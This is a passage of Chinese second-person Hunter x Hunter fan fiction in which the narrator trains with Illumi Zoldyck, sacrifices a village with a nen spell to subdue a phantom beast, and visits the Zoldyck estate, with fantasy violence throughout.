杯子被推回来,你有点犹豫地看着它。
“三毛喝的水毒性比这个大多了,它都没事,你肯定没问题的,好吗?”
你不懂他家的狗为什么要做抗毒训练。不对,这家伙又拿狗跟你比!但你不可能连狗都比不过……
怀着对自己意志力的鄙夷,你满脸抗拒地端起杯子,闭上眼睛,一饮而尽。
五秒之后,你冲出大门,大吐特吐。
过去了一分钟,也可能是二十年,你虚弱地爬回椅子上,“我……想知道……你,拿什么……做的这些?”
“蟾蜍的汁。”
你看着伊路的脸,胃部剧烈翻涌了一下。
“呕——”
38.No.003 红线
你的身体素质比自己想象中的好。
如果一天三顿的毒药都不能摧毁你,就没有什么能摧毁你了!
你咬牙爬到五百米的高度,抹了抹脸上的水,眺望着夕阳下的村庄,松了口气。比前几天都早,很好,接下来是……
嗯?你依稀看到了两个站在河边的人影,是伊路和……小优?
为那件事道歉后,你已经很多天没见到小优和小林,实际上也很少能见到村里的其他人,你的时间被伊路安排的非人训练完全占据。
你也不知道伊路每天在忙些什么,有时他会鬼魅般出现在你身后,以检查你是否专心为由突然袭击,有时你警惕一整天,他连个影子都不见。
这两个人平时有交流吗?不会打起来吧?
你眯起眼睛试图看清楚他们在做什么,没留神重心已经偏移,他们似乎在说话,可惜听不到内容……说话?
你意识到不对,正要下去看看,脚底一打滑,整个人以一种飞扑的姿势朝着瀑布下方坠去。
啊啊啊啊啊啊啊啊啊五百米跳水会死的吧!!!
你的脑中走马灯一样闪过一张蹦床和一双黑眼睛,不不不现在不是回忆过去的时候,要用念,用念护住身体。
五百米的距离,爬上来花了一个小时,掉下去却只需要十秒。几乎是刚用上[坚],就咚的砸进河底。
紧闭的口中漫上一股腥甜。
糟糕。你奋力划动四肢向上游去。
你死死捂着口鼻,单手爬上岸。还是有血从指缝里漏出来,融进水里,但愿它们被冲到下游的时候已经稀释得不起作用了。
上游不方便清洗,你只能先在衣服上擦干净,仰着头等待鼻血止住。
小优的事待会问伊路好了。
这样决定后,你放松了些。你的[坚]还不够熟练,继头部的晕眩,身体的疼痛也迟钝地袭来。
你躺倒在地,等鼻腔和喉间的血气慢慢降下去,才闻到风中的花香。那是一丛长在河边的水生植物,纯白的花朵蝴蝶一样栖息在叶间,你一时想不起它的名字。
不远处一阵轻微的响动,你转过头,对上一双乌溜溜的眼睛。
“是你啊。”
你还记得这个孩子,抱着和那天差不多的花束,躲在草丛后面看你。你坐起来,孩子往后缩了缩,又犹犹豫豫地看向你旁边。
“你想要那个?”
你指了指河边的花。孩子轻轻点头。
它们离水面太近,小孩子去摘很容易掉进河里。你趟水过去,折下一支。孩子挪得近了些,从你手里接过花,抱进怀里,张着嘴朝你笑。
“啊……”
“不客——”
你的目光猝然定格,浑身的血液都凝固,寒意顺着背脊攀上来——这个孩子的嘴里,没有舌头。
上次见到时,明明不是这样。
你想起村民看你的眼神,越来越多的疑问冒出来。为什么这个孩子会说话?又为什么失去了舌头?在带回伊路之前,村里只有你一个外乡人,可你没有教过任何人。
小优。
你蓦然想到不久前的一幕,还有一些从前没注意过的细节。
是啊,如果上一代的人全都不能说话,那么无人教导的年轻一代就不可能听得懂你在说什么。然而你在和他们交流时,并不是每次都记得加上动作。
你早该发现的。
你沿着河岸奔跑,这些天的训练让你逐渐忽视了村庄的异常,现在那些阴云压在你心头,告诉你,它们从未消失。
你在村口遇见了小林,他笑着朝你挥手,把怀里抱着的果子递给你。
“谢谢,我不用。”你摇头,问他,“你是不是能听懂?”
小林有些沮丧地收回果子,看着你的表情,又笑起来,在口袋里摸了摸,伸出手,掌心里躺着一枚贝壳。
你没有接,仍皱着眉,“你其实会说话,对吗?”
“啊……”小林把贝壳往你面前递了递。
“算了,我不该找你。”你把小林的手推回去,“我不要这个,你回去吧。”
小林的脸垮下来。
“那是小林找了很久的呢,收下吧。”
一道陌生的嗓音在背后响起。
“小优?”
你转身,看到了要找的人。
小优脸上挂着很浅的笑,和他平日里似乎没什么不同。可是在他出声之前,你完全没有察觉到他的气息。
“我要和你谈谈。”
“好啊。”
为了支开小林,你收下了那枚贝壳,他抱着果子一步三回头,似乎不明白你和小优为什么不带上他。
你们去了河边,日渐西沉,村民们都已经回家,长长的岸上只有你们两个人。
“这个村子到底是怎么回事?为什么村民们都……”
“你觉得呢?”
“这是监狱。”你盯着小优的脸,说出了自己的推测,“所有人都是被关在这里的。”
小优的表情没有丝毫变化,浅绿色的眼睛轻轻眨了眨,“也许我们只是世代生活在这里,割舌是流传到上一代的习俗呢?”
“这不合理。孩子们都不会——”你卡了一下,难以置信地看着他,“孩子们……”
“是啊,学会了说话,就要割掉舌头。”小优伸了个懒腰,躺到河滩上,“你这么久才发现,慢死了。”
“所以你一直装作不会说话。小林呢?村子里的其他人也这样吗?”
小优没有回答你。
你很快又找到了矛盾点,“不,这里的人都被困住了,如果你们有机会去外面,不会再回来。如果是外面来的人教了你们,那个人又在哪里?”
一旦顺着这个思路推理,扯出来的线头只会越来越多。
你沉默了一会,意识到自己进了误区。无论这座村庄曾经发生过什么,都和你没有关系。知道得越多,只会死得越快。你不应该深究。
“你想到什么了吗?”
小优撑起身体,仰头看你。
“没有,你什么都不用告诉我。”你用力闭了闭眼,“这件事到此为止,我不会把你的事说出去,我和伊路很快就会离开。”
“那可不行呀。”小优站起身,笑容淡去,脸上是显而易见的不悦,“我等了这么久,已经非常、非常无聊了。”
“你们这样,好像只有我一个人在台上滑稽地表演,这很不尊重人,不是吗?”他的声音很轻,杂糅在风里。
“你……”
河边的风不知何时变大,一道水波漫到脚边,河水翻涌着浪头,黑压压的云堆积在天上。
你犹疑地看着面前的小优。
他在风中张开手,你看到黑色的念从他的掌心蔓延,却不是朝向你。
“我给你一个选择的机会。你听说过''电车难题''吗?”
电车的轨道上绑着5个人,它的备用轨道上只绑着1个。你的手边有一个摇杆,你可以推动它,让电车驶入备用轨道。
现在,失控的电车飞速驶来,即将倾轧过5人的身体。你要推动摇杆吗?
这就是你所知的电车难题。
“村子里一共有167个人,邻近的阿尔达市有200万人口。这条河的河床里沉睡着一只幻兽,它睡了太久,饥肠辘辘。”
狂风呼啸,天以不可思议的速度暗下来,你看不清小优的表情,那些可怖的念侵蚀河水,每一阵浪潮都翻滚着腥气。
“难道它吃了村里的人就不会再饿了吗?”
“哈,当然不。在把这片大地完全染红之前,它是不会停下的,除非……你成功操控了它,就像你对山里的野兽做的那样。”
他知道你的念能力!
“我做不到!”你大声喊着。
脚下的地面在震颤,不止是河流,围绕着村庄的山脉也轰隆作响,这只幻兽和你以前控制过的那些根本不是一个级别,哪怕你的血流干了也办不到!
“你听到了吗?”你想要上前,被他的念阻挡住,“小优,快停下!人命难道是可以放在天平上衡量的吗?”
“醒来吧,米亚。”
小优的声音轻柔得像情人的低语。伴随着他的话音,河水骤然掀起百米高的浪,黑色的庞然大物在水幕后睁开了眼。
幽绿的竖瞳像幢幢鬼火,它从天际俯首,张开巨口——无尽的的怨愤哀嚎在你的脑中炸响,你捂住耳朵,可那声音不绝,你倒在地上,眼前的河流泛着血色,一个个扭曲的人脸围住你,重复着问,为什么,为什么,为什么!!!
“你能做到的,选择权在你手中。”
头发上传来轻微的触感,小优抓住你的手腕,挨近你的耳朵,“那条路就在那里。不要再让我失望了,好吗?”
*
名为米亚的幻兽舒展着身躯,从河流到山脉,所有覆盖其身的区域顷刻间地动山摇,被围困在中央的村庄像一座孤岛,山崩海啸中,人们蜷缩在角落,惊惧地等待着命运的降临。
[选择权在你手中。]
你听不到任何声音,摊开的掌心沾满了粘腻的血,小林送给你的贝壳躺在脏污里,散发着纯白的光。
这是一个选择。
不是167人和200万人的选择,而是……是否要亲手结束这167人的生命的选择。
[那条路就在那里。]
你攥住附着了念力的贝壳。
与之相连的[神字]将整个村庄囊括其中,只要触发,就会瞬间夺走所有人的生命。再以此为筹码,置换出足以操控幻兽的念。
可是,你有资格这样做吗?
又或者,你能放弃选择,完全置身事外吗?
冰凉的河水兜头浇下,一个人从身后将你捞起,带你躲开了下一波浪涛,耳畔一片死寂,你抬眼望去,幻兽掀起滔天巨浪,陆地已陷为汪洋,房屋在地动中崩塌,村民们四散奔逃。
像一场默片。
“伊路,放我下来吧。”
你同样听不到自己的声音,唯有心脏在胸腔里剧烈跳动。
你站在摇晃的地面上,默念。
“献祭。”
贝壳上的神字发出隐隐亮光,与之相同的图案浮现在村庄上空,红色的线丝丝缕缕地飘起,交织缠绕,将那个图案撕扯变形,直至铺满整片夜空。
“交换。”
凭空出现的红线缠绕上指尖,瞬间收紧,将指腹与指甲尽数切断,深深勒入骨骼。
“……回……来。”你控制着不住抽搐的手指,拉扯绷直的线。
红色的图案向下压去,你听到蛇类的嘶声,像寒风刮过裂谷。
[饿……]
食指上的红线啪的崩断。
“睡……睡着了……就……”
中指和无名指上的红线接连断裂。
“以后会……有……食物……”
[……]
大地的震颤渐渐止息,祂闭上双目,枕着尾巴,缓缓沉入河床。
剩余的七根线垂落下来。
*
世界很安静。
你看着浅绿色的天花板,许久之后,撑着身体坐起来。
指尖传来尖锐的痛,你抬起手,十根手指都被绷带缠住,松紧恰到好处。包扎的人很熟练。
你拉开白色的纱帘,窗外是碧青的海面,雪白的浪花轻拍着长长的步道,港口停泊着货船。
你走到外侧的露台上,低头看着滨海的街上来往的人群。
“我们是在阿尔达市吗?”圆感应到了来人,你转身看向从外面回来的伊路,点了点耳朵,“我什么都听不见了。
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”
他递给你一块方形的东西,看你拿着没反应,又帮你把屏幕推开。
……原来是手机。
好有年代感的设计,还以为是炸弹呢。你没把心里的想法说出来。
“谢谢,真是帮了我大忙了。”
你鼓捣一会,搞明白了用法。这个手机不光造型复古,功能也少得可怜。现在哪里还能买得到这种老古董啊……
屏幕上弹出一封邮件,没有署名。
[跟我出门。]
你看了看伊路。也只有他会给你发消息。你把手机放进口袋。
“走吧。”
你跟着伊路走在阿尔达市的街巷里。
在远离海港的城区,大大小小的房子挤挤挨挨的堆在一起,墙壁涂抹着深深浅浅的蓝,地砖倒铺得齐整,灰白色,一格一格的延伸到转角。
院墙后的妇人将衣服一件件晾在绳上,花藤下卧着橘黄的猫,孩童蹲在一旁伸手,猫摆摆尾巴,轻巧地跳进门扉。
房子背后是一家餐馆。
正赶上午饭时间,店里生意不错,你看得出大部分用餐的都是当地的居民,只有零星几个是像你一样的外来者。巷子里的路错综复杂,不知道伊路怎么找到的这地方。
[你以前来过?]你发邮件问。
[嗯。]
你不指望他跟你说更多,这家伙除了PUA的时候,日常说话都是能省则省。
[那你帮我点一份吧。这些账都先记下,等我赚了钱再还你。]
你放下手机,撑着头打量这家餐馆,半开放式的厨房里是准备餐点的厨师,侍应生穿梭在餐厅内,在客人离开后动作敏捷地收拾好餐桌,换上新的餐具。
找一份这样的工作或许不错。
这应当是很热闹的地方。
餐点送到,你回过神,目光无意间扫过角落里的电视机,整个人定住。
你辨认着画面下方的文字:昨日夜间,本市东部山林发生较大级地震,引发海啸,未波及市区,居民们不必恐慌。
手指再一次抽痛,餐具从手中滑落,砸上地板。死亡是无声的。
你弯腰捡起地上的餐具。
“抱歉。”
你把它们交给侍应生。电视已经切换到了下一则报道。
午后的喷泉广场上落满白色的鸽子,穿着蓝裙的少女将鸽粮倒在掌心,蹲在地上,耐心地等待它们靠近。
你坐在水池边,看她笑得弯弯的眉眼,她的同伴拿着两只甜筒从不远处跑来,惊飞了她身旁的鸽子。少女嗔怒地瞪他一眼,男生红着脸辩解,甜筒上的冰淇淋球倾斜着,啪的砸到地上。
你没留意伊路是什么时候回来的,他端着两杯饮料,把其中一杯递给你。
“谢谢。”
你们谁也没提午饭时的插曲。你咬着吸管,打开手机,往输入框里打上一句话。
[电影快开场了。]
他的消息先一步到来。
你疑惑地抬头,看到伊路手里的两张电影票。
“你认真的吗?”
这还是你第一次在影院里看电影,你印象里这是部很老的片子,你听说过它的名字,但一直没有看过。
影厅里的人很少,你们几乎卡着点入座,灯光在头顶熄灭,银幕亮起,浮现出黑白的画面。
没有字幕,也没有声音,你靠脑补看完了整部电影。影片的最后,男女主在港口分别,镜头拉远,你看到了熟悉的步道和海岸线。
[……这难道是阿尔达市的宣传片?]
[奥斯塔拉港是取景地。]
你猜这部电影给当地带来了不少收入。
你们回到了广场上,白鸽不见踪影,售卖纪念品的摊位挂起彩灯,游客们趁着最后的天光,和广场边的塔楼合影。
“我们就在这里分开吧。”你晃了晃手机,“方便的话给我留个地址,下个月,我把奇犽的生日礼物寄给你。”
[你可以来我家工作。]
你看得出伊路是在认真地提议。你想了想,低头打字。
[当然不行。如果你成了我的老板,我们的关系就不平等了。我还是想继续跟你做朋友。]
[朋友?]
[对啊。]脊背莫名爬过一丝寒意。你停下手指,没发现什么异常。
[好吧,再见。]
伊路没再坚持。
太阳一旦坠落,夜晚就会加速到来,很快广场上空得只剩你自己。身后的喷泉也已关闭,月光洒在绘有几何图案的方砖上,你猜这世界正如你感受到的一般静谧。
“我想知道,你们为什么一直跟着我?”
你和伊路分开后,原本要去往老城区,因为这些甩不掉的人,只好绕了一圈回到这里。
从广场的四角走出几个人影,餐馆的厨师和侍者,喂鸽子的情侣,检票口的工作人员,还有卖气球的小贩。
也许他们相互之间交流了什么,也许没有,月光被云遮蔽的瞬间,六种不同的念带着强烈的恨意向你袭来。
月光再次洒落。
小指上的红线绷到极致,被捆缚在地的六人神情激动地朝你大喊,你发现没法从口型里辨认出什么,叹了口气。
“我的耳朵听不见,不如你们写在地上?”
蓝裙的少女用那双好看的眼睛瞪视着你,她放慢了语速——揍敌客……
那双眼中的光骤然黯淡。
红线断了。
“给我一个理由。”你抬起头。
同样去而复返的伊路站在月光下,指间泛着冷光。在他的脚下,每一具尸体的头部都插着一根熟悉的念钉。
“哈。”你突然觉得有些好笑,一切都这么明显,你却直到现在才注意到。
“告诉我,伊路,今年是哪一年?”
39.No.004 揍敌客
这是十年前的世界。
你原本还想着总有一天会跟头部意识重逢,现在却不确定了。她会被时空乱流带去哪里呢?
你在那天得知了伊路,或者说,伊尔迷·揍敌客家中真正的生意——暗杀。没有什么买凶杀人的商战,只有亲人被杀的复仇。
那天的六个人正是如此。他们拼尽全力杀死仇人,却看到他“死而复生”,若无其事的出现在他们面前。他们惊怒交加,在跟踪途中被他甩开,于是将目标转向他的同伴,也就是你。
如果你能听见那些人的声音,你会放他们走吗?
这样的念头只出现了一秒钟,就被你否决。
理由呢?
没有理由。就像你在意识到伊尔迷正是那个将你扔进生命之泉的人时没有想要杀他一样,没有能与不能,只有想与不想。
你只是做出了选择。
伊尔迷邀请你去他家参观——其实不是参观,但你在发现枯枯戮山竟然真的是一个有名的景点后,就自然的代入了观光客的身份。
你的听力还没有完全恢复,所以你毫不犹豫的拒绝了他。
伊尔迷表示,揍敌客家地方很大,你可以继续完成剩下的训练。
[我认为那很没有必要。训练只是为了离开村子不是吗?现在我们都已经出来了。]
你打扫着兼职的花店,抽空回复他的消息。
[想找揍敌客家复仇的人很多,他们会一直找你麻烦。]
这的确是个问题,可是……
[只要你不刻意引导,根本没有人会注意到我吧?]就像那天。
你想了想,又发了一条。
[我认为我们应该保持距离。要不,我们不做朋友了,就此分道扬镳,怎么样?]
伊尔迷没有回复。
你打扫完整间店铺,一转身,发现他站在柜台旁边看着你。
“……你怎么神出鬼没的?”
伊尔迷抓着一根念钉,似乎在认真思索,等你走到近前,他终于开口。
“葵,不想跟我做朋友,我就杀了你。”
你最终接受了他的邀请。
你们在第二天坐上了前往枯枯戮山的火车,幸好你的工资是日结。到了附近,还要换乘观光巴士。
枯枯戮山是一座死火山,你在距离很远的地方就看见了它,靠得越近,给人的观感就越震撼,你还是第一次看到这种风景。虽然这么说很像你没见过世面==,但真正的原因只是你过分宅家(确信)。
“哇!好大的门!”
你情不自禁地发出感叹。
很好,全车只有伊尔迷和导游小姐保持了淡定,其他人都跟你一样。
你像普通的观光客那样仰着脖子看面前的“黄泉之门”,想起伊尔迷曾经说过的“打不开我家大门”,缓缓扭头。
“你家的门有多重?”
“最轻的是4吨,你能推开。”
如果不加后半句就更好了。
“最大的那扇呢?”
“256吨。”
“……真的有人能推开全部的吗?”
“爸爸和爷爷都可以。”
“那你呢?”
“学会念之前是5扇,现在没试过。”
在你们说话的时候,导游小姐在尽责地介绍揍敌客家族的传闻。
上山途中,你已经了解(并求证)到伊尔迷家中有十口人,他是长子,下面有四个弟弟,奇犽排行第三,最小的今年才一岁。是个相当庞大的家族。
“……虽然可以通过门卫室旁边的小门进到里面,但这扇门后是暗杀世家的私人领地,所以不能参观哦。”
其实如果导游小姐不说,你压根就没注意到那扇小门,更别说边上的门卫室了。你刚刚的注意力完全放在了数门上的雕像有几颗牙上。
导游小姐话音刚落,就有两个不信邪的人试图硬闯,他们发现小门上了锁,转而去逼问旁边的门卫。
“要去阻止一下吗?”穿着门卫服的大叔被拖了出来。
“不用管他们。”伊尔迷无动于衷地站在一旁,补了一句,“这种事每天都有。”
没过多久,门卫就被迫交出了钥匙。你注意到他悄悄往你们这边看了一眼,擦了擦脑门上的汗。
那两个人打开门,大摇大摆地走进去,门关上后,好一阵子都没有别的动静传出来。
“从这扇门进去会怎样?”
“会被三毛吃掉。”
“三毛?”
就在这时,那扇门被推开一道缝隙,一只巨大的爪子从里面伸出来,扔下两具人形的尸骨。
“这根本就不是狗吧?!”
“是狗。”伊尔迷认真地强调。
“不……这不是重点……”
“什么?”
你看到门卫大叔拿着清洁工具动作熟练地清理起地面。伊尔迷还在看着你,你摇摇头。
“不,我没什么想说的。”
“那边的两位!你们还不上车吗?要返程了!”
导游小姐在不远处喊着你们。
“你们先回吧,我们要在这里多待一段时间。”
“好吧,刚刚那两个人的下场你也看见了,不要做傻事哦。”
这种观光巴士每天只有一趟,如果刚才那种事每次都会发生的话,导游小姐的这份工作还真是不容易呢……
“伊尔迷少爷,您回来了。”
门卫大叔似乎有点紧张。
伊尔迷看了他一眼,走到门边,转头嘱咐你,“推门进来。”
“哦。”
门外剩下你和大叔两个人。
“你还好吗?”
大叔又在擦汗了。
“啊,没事没事,我还是第一次见到伊尔迷少爷带人回来。”
这台词有种诡异的熟悉。
“他没有朋友吗?”
“这个……”大叔面露难色。
“你在等什么?”哎?伊尔迷是什么时候从门里出来的?
你推开了两扇门,没有用念。
伊尔迷对这个结果并不满意,他观察着你手臂上的肌肉,得出结论——需要加训。
“明天再说。”你已经掌握了转移话题的技巧,譬如,“我一会能见到奇犽吗?”
“奇犽在妈妈那里。”伊尔迷的表情瞬间柔和,“你给他带了糖果,他会喜欢你,不过他最喜欢的还是我。”
“……”并不想争这个。
你们花了一段时间穿过树海,三毛还跟着跑了一段,或许是把这个当成了某种游戏,但它身上的血腥味太重了,会让你有种正在逃命的错觉。
总而言之,怎么看都不是狗啦!
“哎——就是那边的房子吗?”
你跟着伊尔迷停下来,不远处是一片坐落在山林间的别墅群。就在你心中感叹不愧是有钱人家的时候,你听到伊尔迷的否认。
“不,那边是管家室。”
“管家,室?”你不由得想象了眼前的管家室和外面的门卫室并排放在一起的画面。嗯……对比有些强烈。
“那你家是在?”
附近似乎没有别的建筑物。你朝四周看了看,忽然察觉到了三个陌生的气息,离得很近。
你很快就看到了他们。一个圆圆的男孩,牵着两个年纪很小的孩子。按照揍敌客家族的人员构成,只可能是——
“伊,伊尔迷大哥!你回来啦?”
男孩看到你们,脸上闪过一丝慌乱。
只可能是伊尔迷的弟弟们。
“糜稽,你在这里做什么?”
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“啊,我刚刚在带亚路嘉和柯特散步,正准备回去。伊尔迷大哥,你要和我们一起吗?”
男孩满脸都写着“快拒绝快拒绝”。他身旁的两个小孩半躲在他身后,好奇地探头看你。
“那好吧。”
“噗。”你没忍住,笑出了声。伊尔迷一脸莫名地看着你。
“没事。咳,这是你的弟弟们吗?”
你努力转移了话题,试图让自己忘掉伊尔迷刚刚那个“勉为其难答应弟弟同行请求”的语气。
“嗯,这是糜稽、亚路嘉和柯特。”伊尔迷简单的介绍完家人,更加简单的介绍了你,“她是葵。”
你只好露出和善的笑容,自行补充。
“我姓三叶,不过你们可以直接叫我葵。”
于是后半程变成了五人同行。
名叫糜稽的男孩承担了活跃气氛的重任,可能是怕冷场,他一路上滔滔不绝,从枯枯戮山的珍稀植物到揍敌客家饲养的魔兽,从拍卖会上的古董飞艇到最新发行的游戏,涉猎之广令人咋舌,增长了你不少知识。但他很快就完全沉浸在自己的世界里,哪怕没人捧场也一直在讲。
“糜稽今年几岁?”耳边的话题越发天马行空,你转头问身旁的伊尔迷。
“十岁。”
“……真厉害。”
怎么说,不愧是伊尔迷的家人。
“伊路,你是不是……不太高兴?”
你观察着伊尔迷的脸,虽然他一向没什么表情,但相处久了,还是能感觉到一点情绪变化。
不是你的错觉,他真的情绪不佳。是因为糜稽太吵了?不对,比这个要早。
你灵光一闪,明白了。
“奇犽不知道你今天回来嘛,他要是知道了肯定……”奇犽真的像伊尔迷说的那样黏着这个哥哥吗?你在安慰伊尔迷的同时,突然产生了怀疑。
“他要是知道了,肯定在门口接你。”
你坚持说完了这句话。伊尔迷的这个眼神,是赞同的意思吧?
你正打算再说些什么,感觉衣角被人扯了扯,小孩子的声音传来。
“葵——抱抱我。”
噢,是亚路嘉,应该是走累了。
你弯腰把他抱起来。
世界突然安静。
“哎?你们怎么都……怎么了吗?”
你看着停下脚步的伊尔迷和突然噤声的糜稽。
“葵,给我糖果。”
亚路嘉趴在你的肩头,声音带着小孩子特有的软糯。你有些迟疑地把手伸进背包口袋。
“我可以给他糖吗?”
“按他说的做就好。”
向伊尔迷确认后,你被这种古怪氛围搞出来的紧张感消退了些,抓出一小把糖果放进亚路嘉的掌心,“给——”
“按他说的做”这种说法真的很古怪。
亚路嘉攥住糖果,露出甜甜的笑容,“葵,给我大拇指的指甲。”
“?”你瞪着伊尔迷。
“葵,答应他。”
“可是这种事……”
伊尔迷走近一步抓住你的手腕,以你完全无法捕捉的速度触碰到你的拇指,干脆利落的撕掉了你的指甲盖。
“!!!”
这家伙知不知道什么叫十指连心!
啊啊啊啊被红线割断都比不上这种痛,而且正因为你的指甲从中间断过,他撕了两次!两次!
你隔着泪水看到伊尔迷把手里的东西交给了亚路嘉。
“这是,怎么回事?”你抽着凉气,整只手都在痉挛。
“你可以向亚路嘉[许愿]。什么愿望都可以,葵。”伊尔迷握着你颤抖的手。
这种事听起来就很离谱!
“那我,我想,”你咬了咬牙,“我想找到我的另一个意识。”
40.No.005 愿望
“我想找到我的另一个意识,我想知道,她在哪里?”
模糊的视野中,亚路嘉空洞的五官扭曲成一个微笑,“好——”
呲。
微凉的触感抚过你的手腕和脖颈,灰白的天空中没有一丝云,下起了温热的雨。
发生了,什么?
……
噢,那是一条红色的河流。
那是一条,从天上落下来的河。
你见过它。但是这一次,河里没有人脸,也没有人声。
你从地上爬起来,看见了对岸的自己。
“……”
你的喉咙里发不出任何声音。
她背对着你,站在一条漆黑的长廊上。长廊两侧亮起朦胧的灯影,像电车穿行于隧道的一瞬,光被拉扯成不分明的丝线。刹那的定格后,电车轰隆着背你而去,破碎的火光倾倒水底,她的身影向着长廊深处前行,你下意识的追逐,踏进奔腾不息的河流。
你向着河底坠落,脚下是一场大火。
炽热,干燥。扭曲的火舌舔舐过皮肤,带来刀刮般的痛意,你跌在地上,空气灼烧体表,搜刮走最后一丝水分。所见之处,仿若铜炉。
这是哪里?
一只手将你从地上拉起,你踉踉跄跄的跟着这个人奔跑,视野中是深色的羽织,黑色的头发。
“快一点,他们就要来了。不能……发现……”
他回过头,黑色的眼睛焦急地看向你,声音在风中撕扯,破碎。
“……”
燃火的高楼在身后倒塌,远方传来夜枭的嘶鸣,你在他的眼中捕捉到了一丝隐秘的不安。
“……可是,又能跑到哪里呢?佑京君。”你听到自己的声音,“你不该来找我的。”
“会有办法的。”
他重复了两遍,紧紧攥住你的手。
……
眼前是流淌的河,你趴在岸边,仿佛一步也未曾移动,刚刚经历的像是一场幻梦。你撑起身体,猛然低头,伏在地上剧烈咳嗽。
暗红的血迹洇入泥土,你在旁边看到了一根红线,它一端嵌入你翻开的伤口,另一端延伸向前。你抬头看向对岸,红线越过河水,遥遥的将你们相连。
她走到了长廊的尽头,身前是一扇紧闭的门扉。
不能推开,不能推开!
你的直觉叫嚣着。你抓住那根线,将它用力向后拉扯。
她似乎察觉到阻拦的力量,放弃了推门,转身沿着原路折返。那张脸与你印象中的自己完全不同,却那么的熟悉。
她没有看到你。长廊上的灯光从岸的近处渐次熄灭,灰烬般蜷缩着坠入河流。
你恍然想起,这正是头部意识曾看到过的记忆中,那名少女的面容。
原来那些是你自己的记忆。
你看着无法触及的彼岸,她行走在幻影与虚无之间,日月交替,四季轮转,诸多熟悉又陌生的景象一一呈现。
真是遥远的上辈子的回忆。
……
“哥哥是想让拿尼加治疗她吗?可是她不需要治疗呀。”
“那她怎么一直不醒?好不容易趁着大哥不在的时候溜进来的……”
“哈,她醒啦!”
你费力地睁眼,面前是一团晃动的白毛球,啊,不是毛球,是顶着一头银白色软毛的小孩。
唔,旁边是那天遇到的亚路嘉,所以这个没见过的小孩就是——
“奇犽,你怎么在这里?”
小孩刷的转身,牵住了旁边的亚路嘉。
“伊路哥,我……路过。”
你摇摇晃晃的从床上坐起来,扶住发沉的脑袋,“伊路,我睡了很久吗?如果不是他们俩在我耳边说话,我好像还醒不来呢。”
“奇犽,带亚路嘉去妈妈那里,她有事情要问。”
“好。”
奇犽牵着亚路嘉一溜小跑,在门边转头看了看你,大大的猫眼盛着小小的好奇,你朝他微笑,他瞬间消失在了门后。
“我很可怕吗?”你摸了摸自己的脸,没感觉到哪里不对,微笑的弧度明明也很完美。
“你睡了一个月。”
“啊?那岂不是?”你算了算日期。
“奇犽的生日已经过了。”
“……果然。”
“你在睡着的时候,看见了什么?”伊尔迷坐在了你身旁。
“……看见了我的另一个意识。我那天的愿望你也听到了,其实,我的脖子上……”你下意识摸了摸脖子上的缝合线,手指却被厚厚的绷带阻隔,“哎?包扎起来了。哦,是[许愿]之后被割开了。”
你简要的说明了你和头部意识的情况。
“……割开我的脖子和手腕应该是为了大量放血,这样我就会快速进入濒死状态,从而看见[彼岸]。如果我没猜错的话,我的另一个意识是在另一边的世界,[彼岸]是世界相交的一个节点。
“不过这样一来,她岂不是也处于濒死状态?她的处境很危险?不,线还没有断,她不会有事的……
“你让我许愿的时候,我其实完全不信,没想到是真的。为什么亚路嘉会有这样的能力?”
伊尔迷在一旁安静地听着,直到这时才慢悠悠的开口,“亚路嘉的能力是揍敌客家族的秘密,不能被家族以外的人知道。”
“我这种程度,算是''知道''吗?”你指了指自己。
伊尔迷点头。
“爸爸妈妈打算杀了你。”
……真不愧是杀手世家。你对此并不意外,但这就存在了一个问题。
“为什么我还活着?”
“因为我跟他们保证,你不会对揍敌客家产生任何威胁。”伊尔迷拿出了一根念针,“我会在你的脑子里扎一根针,它会帮你控制住自己。”
“等等等等!”你抓住伊尔迷的手腕,拦住他的动作,“你都说出来了,我怎么可能愿意让你扎进去?你如果真的想这么做,应该趁着我还没醒的时候吧?不是有一个月的时间吗?难道……你已经扎进去了,现在是在误导我?”
“啊,被你发现了。”
伊尔迷无辜的眨了眨眼。
“哎?你真的往我的脑子里放奇怪的东西了?”你摸着额头和后脑勺,“你从哪里放进去的?快帮我拿出来……呃,这感觉好恶心……”
“可以取出来,但是作为交换,葵要把你的能力一五一十的告诉我。”伊尔迷伸出两根手指,“所有的能力,再加上你的来历。”
“我的来历?”
“我没有查到你存在过的任何信息。”
当然查不到了,这个时间,你甚至都还没有被村子里的人捡到。
“成交。”
“一定要在这种地方吗?”
你们所处的位置是揍敌客家宅邸的地下三层,一般来说,地下室会被用来储藏物品,但你面前的这个显然不是这种用途。
你看着墙上挂着的一排不知名工具和地面上疑似血迹的暗痕,迈出去的脚又收了回来。
“其他地方都有妈妈的监控。”
呃,据伊尔迷说,他的妈妈可以监视到整个揍敌客家的情况,好可怕的能力。
“好吧。”
你跟着他走进这个不明用途的房间,在墙边坐下,整理了一下思路,“先从我的来历说起吧,我是从十年后的世界来到这里的……”
你简单讲述了过去的经历,在回忆的同时,突然意识到了一件事,那就是十年后的伊尔迷在认识你的前提下将你“杀死”,并推下生命之泉,是否说明十年后的你们有做过约定?
是否意味着你能活下去是个必然?
不,这不能证明你没有死在“过去”。
可惜当时伊尔迷什么都没解释,虽然解释了你也不会信
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他……
“就这样,我到了不具名村。后面的事情你都知道了。关于我的念能力,其实我自己也没太搞懂,我只能告诉你我已知的部分——它是变化的。”
你张开手掌,看着掌心淡青色的血管。
“我的念以血液为媒介,最初只有一个能力,就是使接触到的人概率性患上[花吐症]。这是一种单相思才会感染的疾病,没有药物治疗的方法,也不能通过除念来治愈。花吐症的病人到最后通常都会死。”
“既然是单相思,治愈的方法是让单恋对象爱上自己吗?”
“或许是,但我没有见过成功的案例。在有人可能因此得救之前……我的念因为我自己情绪波动太大,爆发了。”
你停顿了片刻,才继续说下去。
“你已经知道,我曾经被人杀死过一次,虽然我忘了那个人的样子,但脖子上的这道疤留了下来。再加上后面发生的种种,我确认了一件事——我会因为自身的死亡或对他人生命的掠夺获得新的能力。”
你竖起四根手指。
“到目前为止,这两种情况一共出现了4次。第一次,我在离家后被不明人物杀死,获得了[念]的概念和[花吐症]的初始能力。
“感染花吐症的病人死亡后,我获得了第二项能力,[占卜]。最初只能通过病人吐出的花瓣占卜单恋对象的信息,只有在病人失忆或者感情经历过于丰富的情况下适用。
“之后,我的念力爆发催化了花吐症的病程,当天留在医院内的病人全都因此死去。占卜的能力也随之进化。只要给我提供饱含情感的物品,我就可以通过血液去占卜这份感情的作用对象的位置。但是必须是强烈的情感,爱、恨,或是别的什么。
